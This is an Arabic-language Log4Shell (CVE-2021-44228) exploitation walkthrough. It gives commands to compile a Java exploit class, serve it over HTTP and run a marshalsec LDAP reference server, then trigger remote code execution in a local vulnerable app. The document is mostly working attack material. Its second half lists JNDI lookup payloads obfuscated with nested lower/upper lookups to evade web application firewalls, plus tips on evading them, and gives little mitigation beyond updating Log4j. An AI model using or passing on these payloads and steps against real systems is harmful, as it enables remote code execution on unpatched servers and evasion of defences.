
Apache Log4j تنفيذ التعليمات البرمجية عن بُعد
إصدارات 1.x تحتوي على ثغرات أخرى، ونوصي بتحديثها إلى أحدث إصدار.
النشرات والتنبيهات الأمنية المرتبطة بـ Log4Shell (CVE-2021-44228)
قم بتنزيل هذا المشروع، وقم بتجميع كود الاستغلال blob/master/src/main/java/Exploit.java، وشغّل خادم ويب يتيح تنزيل الملف الثنائي المترجم.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
قم بتنزيل مشروع آخر وشغّل تنفيذ خادم LDAP الذي يعيد مراجع JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
قم ببناء وتشغيل كود التفعيل (محاكاةً لهجوم log4j على خادم ويب Java ضعيف) blob/master/src/main/java/log4j.java، وسيظهر تطبيق الآلة الحاسبة.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
نصائح:
لا تعتمد على إصدار Java الحالي لإنقاذك. حدّث Log4 (أو أزل بحث JNDI). عطّل التوسيع (يبدو هذا فكرة سيئة على أي حال).
على سبيل المثال:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
لا تثق بجدار حماية تطبيقات الويب.
توفر Lookups طريقة لإضافة قيم إلى إعدادات Log4j في أي مكان.
الطرق التي تسبب التسريب داخل finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
إذا كنت تريد إجراء اختبار الصندوق الأسود، أقترح عليك إجراء مسح سلبي.
استمتع!!!
